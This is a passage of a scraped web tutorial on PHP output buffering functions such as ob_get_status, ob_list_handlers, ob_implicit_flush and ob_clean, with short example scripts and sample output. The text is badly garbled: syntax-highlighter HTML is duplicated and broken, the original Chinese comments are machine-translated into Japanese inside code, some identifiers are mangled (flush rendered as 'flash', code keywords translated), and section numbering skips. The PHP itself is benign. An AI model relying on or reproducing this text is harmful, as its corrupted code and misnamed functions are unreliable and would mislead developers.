plain">var_dump(</code><code class="php variable">$length</code><code class="php plain">); </code><code class="php comments">//输出长度</code></p><div class="line number12 index11 alt1"><code class="php plain">ob_end_flush();</code><code class="php comments">//输出并关闭缓冲区</code></p><div class="line number13 index12 alt2"><code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<div class="linenumber2index1alt1">2<divclass>3<divclass>4 <div class="linenumber5index4alt2">5<divclass>6<divclass>7<div alt1>8<div class="行番号9 インデックス8 alt2">9<div alt1>10<div alt2>11<div class="linenumber12index11alt1">12<divclass>13</divclass>
</div>
</div>
</div>
</div>
</div></divclass></divclass>
</div></divclass></divclass>
</div>
</div></td>
<td class="code"><div class="linenumber1index0alt2"><codeclass plain><?php</code><🎜><div class="linenumber2index1alt1">< code class ="php comments">/*例 9*/</code><🎜><div class="linenumber3index2 alt2"><code class="php function">echo</code> <code class= "php 関数">str_pad</code><code class="php plain">(</code><code class="php string">"</code><code class="php plain">, 1024 ); </code><code class="php comments">// バッファをオーバーフローします</code><🎜><div class="linenumber4index3 alt1"><code class="php plain">ob_start() ; </code><code class="php comments">// バッファを開く</code><🎜><div class="linenumber5index4 alt2"><code class="php plain">phpinfo();< /code><🎜><div class="linenumber6index5alt1"><code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code> <code class="php comments">//バッファの内容を取得する</code><🎜><div class="linenumber7index6alt2"><codeclass="phpvariable">$length</code><code class ="php plain">= ob_get_length();</code><code class="php comments">//バッファ内容の長さを取得する</code><🎜><div class="linenumber8index7alt1">< code class="php variable">$re</code> <code class="php plain">= </code><code class="php function">fopen</code><code class="php plain " >(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string"> ' wb'</code><code class="php plain">);</code><🎜><div class="linenumber9index8 alt2"><code class="php plain">fwrite(</code > <code class="php 変数">$re</code><code class="php plain">、</code><code class="php 変数">$string</code><code class="php plain">);</code><code class="php comments">// コンテンツをファイルに書き込みます</code><🎜><div class="linenumber10index9alt1"><code class="php plain" >fclose(</code><code class="php variable">$re</code><code class="php plain">);</code><🎜><div class="linenumber11index10alt2" ><code class="php plain">var_dump(</code><code class="php variable">$length</code><code class="php plain">); "php comments">//出力の長さ</code><🎜><div class="linenumber12index11alt1"><code class="php plain">ob_end_flush();</code><code class= "php comments">// バッファを出力して閉じる</code><🎜><div class="linenumber13index12alt2"><code class="php plain">?> </codeclass></div></td>
</tr></tbody></table>
<p><strong> 4. int ob_get_level (void)</strong></p>
<p> この関数は、ob_start() を導入したときに述べた、バッファリング メカニズムのネスト レベルを取得するために使用されます。 function ただし、スクリプト内で複数のバッファーをネストすることができ、この関数は現在のバッファーのネスト レベルを取得するために使用します: </p>
<p></p>
<div id="highlighter_284252" class="syntaxhighlighter php">
<table border="0" cellpacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例10*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start();</code></p><div class="line number4 index3 alt1"><code class="php plain">var_dump(ob_get_level());</code></p><div class="line number5 index4 alt2"><code class="php plain">ob_start();</code></p><div class="line number6 index5 alt1"><code class="php plain">var_dump(ob_get_level());</code></p><div class="line number7 index6 alt2"><code class="php plain">ob_end_flush();</code></p><div class="line number8 index7 alt1"><code class="php plain">ob_end_flush();</code></p><div class="line number9 index8 alt2"><code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<divclass>2 <div class="linenumber3index2alt2">3<divclass>4<p><divclass>5</divclass></p>
<div class="linenumber6index5alt1">6<p><divclass>7<strong><divclass>8</divclass></strong><divclass index8 alt2>9</divclass></divclass></p>
</div></divclass>
</div></divclass>
</div></td>
<td class="code"><div class="container"><div class="linenumber1index0 alt2"><code class="php plain">< ?php</code><p><div class="linenumber2index1alt1"><codeclass="php comments">/*例 10*/</code></p><div class="linenumber3index2 alt2"><code class="php plain">ob_start();</code><p><div class="linenumber4index3 alt1"><code class="php plain">var_dump(ob_get_level()); </code><div id="highlighter_654569" class="syntaxhighlighter php"><div class="linenumber5index4alt2"><codeclass="php plain">ob_start();</code><table border="0" cellspacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="line number1 index0 alt2">1</p><div class="line number2 index1 alt1">2</p><div class="line number3 index2 alt2">3</p><div class="line number4 index3 alt1">4</p><div class="line number5 index4 alt2">5</p><div class="line number6 index5 alt1">6</p><div class="line number7 index6 alt2">7</p><div class="line number8 index7 alt1">8</p><div class="line number9 index8 alt2">9</p></td><td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例11*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start(‘ob_gzhandler’);</code></p><div class="line number4 index3 alt1"><code class="php plain">var_export(ob_get_status());</code></p><div class="line number5 index4 alt2"><code class="php plain">ob_start();</code></p><div class="line number6 index5 alt1"><code class="php plain">var_export(ob_get_status());</code></p><div class="line number7 index6 alt2"><code class="php plain">ob_end_flush();</code></p><div class="line number8 index7 alt1"><code class="php plain">ob_end_flush();</code></p><div class="line number9 index8 alt2"><code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<divclass>var_dump(ob_get_level());<div class="linenumber7index6 alt2">
<code class="php plain">ob_end_flush();</code> <div class="linenumber8index7alt1"><codeclass plain>ob_end_flush();<divclass><codeclass php plain>?> を実行するとはっきりとわかります。入れ子の関係。 5. array ob_get_status ([ bool $full_status = FALSE ] ) この関数は、現在のバッファのステータスを取得し、ステータス情報の配列を返すために使用されます。最初のパラメータが true の場合、詳細情報の配列が返されます。例を使用してこの配列を分析してみましょう: <table border="0" cellpacing="0" cellpadding="0"> <tbody><tr>
<td class="gutter"><div class="linenumber1index0alt2">1<divclass>2<divclass alt2>3<div class="行番号 4 インデックス 3 alt1">4<div alt2>5<div alt1> 6<div class="linenumber7index6 alt2">7<div class="linenumber8index7alt1">8<div class="linenumber9index8 alt2">9 </div>
</div>
</div>
</div>
</div>
</div></divclass></divclass>
</div></td>
<td class="code"><div class="container"><div class="linenumber1index0alt2">
<code class="php plain"><?php</code><🎜 > <div class="linenumber2index1alt1"><code class="php comments">/*例 11*/</code><🎜><div class="linenumber3index2 alt2"><code class=" php plain">ob_start('ob_gzhandler');</code><🎜><div class="linenumber4index3 alt1"><code class="php plain">var_export(ob_get_status());</code>< 🎜 ><div class="linenumber5index4alt2"><codeclass="php plain">ob_start();</code><🎜><div class="linenumber6index5alt1"><codeclass="php plain ">var_export(ob_get_status());</code><🎜><div class="linenumber7index6 alt2"><code class="php plain">ob_end_flush();</code><🎜><div class="linenumber8index7alt1"><codeclass="php plain">ob_end_flush();</code><🎜><div class="linenumber9index8 alt2"><code class="php plain">? > ;</code><🎜><🎜></td></tr></tbody></table></p></p><p> 本稿输出如下:</p><p><div id="highlighter_379918" class="syntaxhighlighter php"><table border="0" cellpacing="0" cellpadding="0"><tbody><tr><td class ="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="line number1 index0 alt2">1</p><div class="line number2 index1 alt1">2</p><div class="line number3 index2 alt2">3</p><div class="line number4 index3 alt1">4</p><div class="line number5 index4 alt2">5</p><div class="line number6 index5 alt1">6</p><div class="line number7 index6 alt2">7</p><div class="line number8 index7 alt1">8</p><div class="line number9 index8 alt2">9</p><div class="line number10 index9 alt1">10</p><div class="line number11 index10 alt2">11</p><div class="line number12 index11 alt1">12</p><div class="line number13 index12 alt2">13</p><div class="line number14 index13 alt1">14</p><div class="line number15 index14 alt2">15</p></td><td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php keyword">array</code> <code class="php plain">(</code></p><div class="line number2 index1 alt1"><code class="php spaces"> </code><code class="php string">'level'</code> <code class="php plain">=> 1,</code><div class="line number3 index2 alt2">
<code class="php spaces"> </code><code class="php string">'type'</code> <code class="php plain">=> 1,</code><div class="line number4 index3 alt1">
<code class="php spaces"> </code><code class="php string">'status'</code> <code class="php plain">=> 0,</code><div class="line number5 index4 alt2">
<code class="php spaces"> </code><code class="php string">'name'</code> <code class="php plain">=> </code><code class="php string">'ob_gzhandler'</code><code class="php plain">,</code><div class="line number6 index5 alt1">
<code class="php spaces"> </code><code class="php string">'del'</code> <code class="php plain">=> true,</code><div class="line number7 index6 alt2">
<code class="php plain">)</code><div class="line number8 index7 alt1">
<code class="php spaces"> </code> <div class="line number9 index8 alt2">
<code class="php keyword">array</code> <code class="php plain">(</code><div class="line number10 index9 alt1">
<code class="php spaces"> </code><code class="php string">'level'</code> <code class="php plain">=> 2,</code><div class="line number11 index10 alt2">
<code class="php spaces"> </code><code class="php string">'type'</code> <code class="php plain">=> 1,</code><div class="line number12 index11 alt1">
<code class="php spaces"> </code><code class="php string">'status'</code> <code class="php plain">=> 0,</code><div class="line number13 index12 alt2">
<code class="php spaces"> </code><code class="php string">'name'</code> <code class="php plain">=> </code><code class="php string">'default output handler'</code><code class="php plain">,</code><div class="line number14 index13 alt1">
<code class="php spaces"> </code><code class="php string">'del'</code> <code class="php plain">=> true,</code><div class="line number15 index14 alt2"><code class="php plain">)</code></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div></td>
</tr></tbody>
</table>
<divclass>2<divclass>3 <div class="linenumber4index3alt1">4<divclass>5<divclass>6<divclass linenumber7index6alt2>7<divclass>8<divclass>9<divclass>10<div class="linenumber11index10alt2">11<divclass>12<divclass>13 <div class="linenumber14index13alt1">14<divclass>15<td class="code"><div class="container"> <div class="linenumber1index0alt2"><codeclass>配列<codeclass plain>(<div class="linenumber2index1 alt1">
<code class="php space"> </code><code class="php string">'レベル'</code> <code class="php plain">=> 1、</code><div class="linenumber3 index2 alt2">
<code class="php space"> </code><code class="php string">'type'</code> => 1、<div class="linenumber4 index3 alt1">
<code class="php space"> </code><code class="php string">'ステータス'</code> => 0,<div class="linenumber5index4alt2">
<code class="php space"> </code><code class="php string">'name'</code>=> <code class="php string">'ob_gzhandler'</code><code class="php plain">,</code><div class="linenumber6index5alt1">
<code class="php space"> </code><code class="php string">'del'</code> <code class="php plain">=> true、</code><div class="linenumber7index6alt2"><codeclass plain>)<divclass><code class="php space"> </code> <div class="linenumber9index8alt2">
<code class="phpキーワード">配列</code> <code class="php plain">(<div class="linenumber10index9alt1">
<code class="php space"> </code><code class="php string">'level'</code> <code class="php plain">=> 2,</code><div class="linenumber11index10alt2">
<code class="php space"> </code><code class="php string"> 'type'</code> <code class="php plain">=> </code><div class="linenumber12index11alt1"><code class="php space"> code><code class="php string">'ステータス'</code> <code class="php plain">=> </code><div class="linenumber13index12alt2"> <code class="php space"> </code><code class="php string">'name'</code> <code class="php plain">=> php string">'デフォルトの出力ハンドラー'</code><code class="php plain">,</code><div class="linenumber14index13alt1"><codeclass space> <code class="php string">'del'</code> <code class="php plain">=> true、</code><div class="linenumber15index14alt2"><code class="php plain">)</code></div></codeclass></div>
</div></code></div>
</div>
</div></code>
</div></divclass></codeclass></div>
</div>
</div>
</div>
</div>
</div></codeclass></codeclass></div>
</div></td> tbody><p> Level はネストレベルで、ob_get_level() で取得した値と同じです。 </p>
<p> Type は処理バッファのタイプで、0 はシステム内での自動処理、1 はユーザーによる手動処理です。 </p>
<p> Status はバッファ処理ステータス、0 は開始、1 は進行中、2 は終了 </p>
<p> name は定義された出力処理関数の名前であり、 ob_start() 関数 パラメータとして渡される関数名。 </p>
<p> del は削除バッファ操作が実行されたかどうかを意味します </p>
<p> 上記の配列の意味を理解すると、バッファのプロパティをよく理解できます。 </p>
<p><strong> 6. array ob_list_handlers (void)</strong></p>
<p> この関数は、ob_start( で指定した番号である出力ハンドラーの関数名の配列を取得するために使用されます。 ) 関数。渡したパラメータが匿名関数である場合、または設定ファイルで <em><code>output_buffering</code></em> が有効になっている場合、関数はデフォルトの出力ハンドラーを返すことに注意してください。公式 PHP マニュアル この関数は次のように非常によく説明できます。 </p>
<p></p>
<div id="highlighter_252355" class="syntaxhighlighter php">
<table border="0" cellpacing="0" cellpadding="0"><tbody><tr>
<td class="ガッター"> <div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12<div class="line number13 index12 alt2">13<div class="line number14 index13 alt1">14<div class="line number15 index14 alt2">15</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例12*/</code></p><div class="line number3 index2 alt2"><code class="php comments">//using output_buffering=On</code></p><div class="line number4 index3 alt1"><code class="php plain">print_r(ob_list_handlers());</code></p><div class="line number5 index4 alt2"><code class="php plain">ob_end_flush();</code></p><div class="line number6 index5 alt1"><code class="php spaces"> </code> </p><div class="line number7 index6 alt2"><code class="php plain">ob_start(</code><code class="php string">"ob_gzhandler"</code><code class="php plain">);</code></p><div class="line number8 index7 alt1"><code class="php plain">print_r(ob_list_handlers());</code></p><div class="line number9 index8 alt2"><code class="php plain">ob_end_flush();</code></p><div class="line number10 index9 alt1"><code class="php spaces"> </code> </p><div class="line number11 index10 alt2"><code class="php comments">// anonymous functions</code></p><div class="line number12 index11 alt1"><code class="php plain">ob_start(create_function(</code><code class="php string">'$string'</code><code class="php plain">, </code><code class="php string">'return $string;'</code><code class="php plain">));</code></p><div class="line number13 index12 alt2"><code class="php plain">print_r(ob_list_handlers());</code></p><div class="line number14 index13 alt1"><code class="php plain">ob_end_flush();</code></p><div class="line number15 index14 alt2"><code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<divclass>2<divclass>3<div class=" 行番号 4 インデックス 3 alt1">4<div alt2>5<div alt1>6<div index6 alt2>7<div class="linenumber8index7alt1">8<divclass>9<divclass>10 <div class="linenumber11index10alt2">11<divclass>12<divclass>13<div class=" linenumber14index13alt1">14<div class="linenumber15index14alt2">15</div>
</div></divclass></divclass>
</div></divclass></divclass>
</div>
</div>
</div>
</div>
</div></divclass></divclass>
</div>
</td>
<td class="code"><div class="container"><div class=" linenumber1index0 alt2"><code class="php plain"><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments">/ *例 12 */</code><🎜><div class="linenumber3index2 alt2"><code class="php comments">//output_buffering=On を使用</code><🎜><div class=" linenumber4index3alt1"><codeclass="php plain">print_r(ob_list_handlers());</code><🎜><div class="linenumber5index4 alt2"><code class="php plain">ob_end_flush (); </code><🎜><div class="linenumber6index5alt1"><codeclass="phpspaces"></code><🎜><divclass="linenumber7index6alt2"><code class=" php plain">ob_start(</code><code class="php string">"ob_gzhandler"</code><code class="php plain">);</code><🎜><div クラス="linenumber8index7alt1"><codeclass="php plain">print_r(ob_list_handlers());</code><🎜><div class="linenumber9index8 alt2"><code class="php plain" >ob_end_flush( );</code><🎜><div class="linenumber10index9alt1"><codeclass="phpspaces"> </code><🎜><divclass="linenumber11index10alt2"> <code class="php comments">// 匿名関数</code><🎜><div class="linenumber12index11alt1"><code class="php plain">ob_start(create_function(</code><code class=" php string">'$string'</code><code class="php plain">, </code><code class="php string">'return $string;'</code><code class=" php plain">));</code><🎜><div class="linenumber13index12 alt2"><code class="php plain">print_r(ob_list_handlers());</code><🎜 ><div class="linenumber14index13alt1"><codeclass="php plain">ob_end_flush();</code><🎜><div class="linenumber15index14alt2"><code class="php plain ">? ></code></div></div></td>
</tr></tbody></table>
<p> 出力結果は次のとおりです:</p>
<p></p>
<div id="highlighter_68969" class="syntaxhighlighter php">
<table border="0" cellpacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12<div class="line number13 index12 alt2">13<div class="line number14 index13 alt1">14</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2">
<code class="php plain">Array</code><div class="line number2 index1 alt1">
<code class="php plain">(</code><div class="line number3 index2 alt2">
<code class="php spaces"> </code><code class="php plain">[0] => </code><code class="php string">'default output handler'</code><div class="line number4 index3 alt1">
<code class="php plain">)</code><div class="line number5 index4 alt2">
<code class="php spaces"> </code> <div class="line number6 index5 alt1">
<code class="php plain">Array</code><div class="line number7 index6 alt2">
<code class="php plain">(</code><div class="line number8 index7 alt1">
<code class="php spaces"> </code><code class="php plain">[0] => </code><code class="php string">'ob_gzhandler'</code><div class="line number9 index8 alt2">
<code class="php plain">)</code><div class="line number10 index9 alt1">
<code class="php spaces"> </code> <div class="line number11 index10 alt2">
<code class="php plain">Array</code><div class="line number12 index11 alt1">
<code class="php plain">(</code><div class="line number13 index12 alt2">
<code class="php spaces"> </code><code class="php plain">[0] => </code><code class="php string">'default output handler'</code><div class="line number14 index13 alt1"><code class="php plain">)</code></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div></td>
</tr></tbody></table>
<divclass>2<divclass>34<divclass>5<divclass>6<div class="line number7index6alt2">7<div class="linenumber8index7alt1">8<divclass>9<divclass> 10<div class="linenumber11index10alt2">11<divclass>12<divclass>1314</divclass></divclass>
</div></divclass></divclass>
</div>
</div></divclass></divclass></divclass></divclass>
</div></td>
<tdclass><div class="container"><div class="linenumber1index0 alt2">
<code class=" php plain">配列</code><div class="linenumber2index1alt1"><codeclass plain>(<div class="linenumber3index2alt2">
<code class="php space"> </code><code class="php plain">[0] => </code><code class="php string">'デフォルトの出力ハンドラー'</code><div class="linenumber4index3alt1">
<code class="php plain">)</code> <div class="linenumber5 index4 alt2">
<code class="php space"> </code> <div class="linenumber6index5 alt1">
<code class="php plain">配列</code><div class="linenumber7index6alt2"><codeclass plain>(<divclass><codeclass> <code class="php plain">[0] => </code><code class="php string">'ob_gzhandler'</code><div class="linenumber9index8alt2"><codeclass plain>)<div class="linenumber10index9alt1">
<code class="php space"> </code> <div class="linenumber11index10alt2">
<code class="php plain">配列</code><div class="linenumber12index11 alt1">
<code class="php plain">(</code><div class="linenumber13index12alt2">
<code class="php space"> </code><code class="php plain">[0] =></code> code><code class="php string">'デフォルトの出力ハンドラー'</code><div class="linenumber14index13 alt1"><code class="php plain">)</code></div>
</div>
</div>
</div>
</div></codeclass></div></codeclass></divclass></codeclass></div>
</div>
</div>
</div>
</div></codeclass></div>
</div></div></tdclass>
</tr></tbody></table>
<p> バッファーの内容の出力、クローズ、送信に関連する関数を見てみましょう: </p>
<p><strong> 7. void ob_flush ( void )</strong></p> <p> この関数は、前の例でよく使用されます。その機能は、現在のバッファーの内容を「送信」すると同時にバッファーをクリアすることです。ここで「送信」という言葉が使用されているのは、次のことを意味します。この関数を呼び出しても、バッファの内容は出力されません。例 3 からわかるように、出力する前に、後でフラッシュ関数を呼び出す必要があります。フラッシュの使用法については後で説明しますが、ここでは例は示しません。 </p>
<p><strong> 8. void flash ( void )</strong></p>
<p> この関数は比較的一般的に使用され、以前の出力をすべてブラウザに送信して表示するために使用されます。キャッシュは何らかの影響を及ぼします。この関数は、例 3 と 4 で現在の出力をブラウザに表示するために使用されます。つまり、flush() の実行後に、echo、HTML エンティティ、または ob_start() の実行によって送信されたコンテンツなどの関数の出力です。ブラウザに表示されます。 </p>
<p><strong> 9. void ob_implicit_flush ([ int $flag = true ] )</strong></p>
<p> この関数は、自動的にフラッシュする絶対フラッシュ モードのオン/オフを切り替えるために使用されます。各出力の後に、flush() を実行します。これにより、効率を向上させるために明示的に flash() を呼び出す必要がなくなります。例 4 を少し変更し、この関数を使用して同じ効果を実現します。 </p>
<p></p>
<div id="highlighter_169204" class="syntaxhighlighter php">
<table border="0" cellpacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例13*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code></p><div class="line number4 index3 alt1"><code class="php plain">ob_implicit_flush(true);</code><code class="php comments">//打开绝对刷送</code></p><div class="line number5 index4 alt2"><code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code></p><div class="line number6 index5 alt1"><code class="php comments">//flush(); 之后不需要再显示的调用 flush()</code></p><div class="line number7 index6 alt2"><code class="php plain">sleep(1);</code></p><div class="line number8 index7 alt1"><code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code></p><div class="line number9 index8 alt2"><code class="php comments">//flush();</code></p><div class="line number10 index9 alt1"><code class="php plain">sleep(1);</code></p><div class="line number11 index10 alt2"><code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code></p><div class="line number12 index11 alt1"><code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<divclass>2<divclass>3<div class="linenumber4index3alt1">4<divclass>5<divclass>6<div class=" 行番号 7 インデックス 6 alt2">7<div class="行番号 8 インデックス 7 alt1">8<div alt2>9<div alt1>10<div class="linenumber11index10alt2">11<div class="linenumber12index11alt1">12</div>
</div>
</div>
</div>
</div>
</div></divclass></divclass>
</div></divclass></divclass>
</div></td>
<td class="code"> <div class="container"><div class="linenumber1index0alt2"><codeclass plain><?php</code><🎜><div class="linenumber2index1alt1"><code class="php comments">/*例 13*/</code><🎜><div class="linenumber3 index2 alt2"><code class="php function">echo</code> <code class =" php 関数">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024) ;</code><code class="php comments">// バッファをオーバーフローさせる</code><🎜><div class="linenumber4index3alt1"><code class="php plain">ob_implicit_flush (true) ;</code><code class="php comments">//絶対ボーナスを開く</code><🎜><div class="linenumber5index4alt2"><codeclass="phpfunctions"> echo</code > <code class="php string">'oschina.net'</code><code class="php plain">;</code><🎜><div class="linenumber6index5alt1" ><コードクラス="php comments">//flush(); その後、flush() を呼び出す必要はありません。</code><🎜><div class="linenumber7index6alt2"><code class="php plain">sleep (1);</code><🎜><div class="line number8index7 alt1"><code class="php function">echo</code> <code class="php string">' スイートポテト'< /code><code class="php plain">;</code><🎜><div class="linenumber9 index8 alt2"><code class="php comments">//flush();< /code> <🎜><div class="linenumber10index9alt1"><codeclass="php plain">sleep(1);</code><🎜><div class="linenumber11index10alt2"><code class= "php 関数">echo</code> <code class="php string">'Chongchong'</code><code class="php plain">;</code><🎜><div class ="行番号 12 index11 alt1"><code class="php plain">?></codeclass></div></div>
</td>
</tr></tbody></table>
<p> この例では、例 4 と同じ効果が得られます。絶対フラッシュがオンになっているため、システムは出力後にフラッシュ()を呼び出す必要はありません。 </p>
<p><strong> 10. bool ob_end_flush (void)</strong></p>
<p> この関数はバッファの内容を送信し、バッファをクローズします。実際、これは ob_flush() および ob_end_clean() を実行するのと同じであり、バッファの内容を文字列の形式で返すだけであり、非常に単純で例は必要ありません。 </p>
<p><strong> 12. void ob_clean ( void )</strong></p>
<p> この関数は現在のバッファをクリアしますが、バッファを閉じません。次の例の出力は表示されません。 . 、バッファは出力前にクリアされているため、バッファが閉じられていないことを示すバッファのプロパティを取得できます: </p>
<p><strong><table border="0" cellpacing=" 0 " cellpadding="0"><tbody><tr>
<td class="gutter"><div class="linenumber1index0alt2">1<divclass>2<div class="linenumber3index2alt2">3<p><divclass>4</divclass></p>
<divclass>5<p></p>
<div class="linenumber6index5alt1">6<div id="highlighter_60471" class="syntaxhighlighter php"><divclass>7<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例14*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start();</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"><code class="php plain">ob_clean();</code></p><div class="line number6 index5 alt1"><code class="php plain">var_dump(ob_get_status());</code></p><div class="line number7 index6 alt2"><code class="php plain">?></code></div></div></td>
</tr></tbody></table></divclass></div>
</div></divclass>
</div></divclass>
</div></td>
<td class="code"><div class="container"><div class="linenumber1index0alt2">
<code class="php plain"><?php</code></p><div class="linenumber2index1 alt1"><code class="php comments">/* 例14*/</code></p><div class="linenumber3index2alt2"><codeclass="php plain">ob_start();</code><p><divclass="linenumber4index3alt1 "><code class="php function">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code><strong> < div class="linenumber5index4alt2"><code class="php plain">ob_clean();</code></strong><div class="linenumber6index5 alt1"><code class="php plain" > var_dump(ob_get_status());</code></p><div class="linenumber7index6 alt2"><code class="php plain">?></code><p></p> td ></div></div></td>
</tr></tbody></table>
<p></p>
<div id="highlighter_468504" class="syntaxhighlighter php">
<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例15*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start();</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"><code class="php plain">ob_end_clean();</code></p><div class="line number6 index5 alt1"><code class="php plain">var_dump(ob_get_status());</code></p><div class="line number7 index6 alt2"><code class="php plain">?></code></div></div></td>
</tr></tbody></table> 13. bool ob_end_clean ( void ) この関数はバッファをクリアして閉じます。例 14 では、バッファが閉じられているため、バッファのステータスを取得できなくなっていることがわかります: <table border="0" cellpacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="linenumber1index0alt2">1<divclass>23<div class="行番号 4 インデックス 3 alt1">4<div alt2>5<div alt1>6<div class="linenumber7index6alt2">7</div>
</div>
</div>
</div></divclass>
</div></td>
<td class="code"><div class="container"><div class="linenumber1index0alt2"><code class="php plain"><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments">/*例 15* /</code ><🎜><div class="linenumber3index2alt2"><codeclass="php plain">ob_start();</code><🎜><divclass="linenumber4index3alt1"><codeclass= "php 関数">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code><🎜><div class ="行番号 5 Index4 alt2"><code class="php plain">ob_end_clean();</code><🎜><div class="linenumber6index5 alt1"><code class="php plain">var_dump( ob_get_status()) ;</code><🎜><div class="linenumber7index6 alt2"><code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<p><strong> 14. string ob_get_clean (void)</strong></p>
<p> この関数はキャッシュをクリアして閉じますが、キャッシュ内のデータを文字列の形式で返します。実際、この関数は ob_get_contents() と ob_end_clean() をそれぞれ実行します。</p>
<p></p>
<div id="highlighter_659181" class="syntaxhighlighter php">
<table border="0" cellpacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
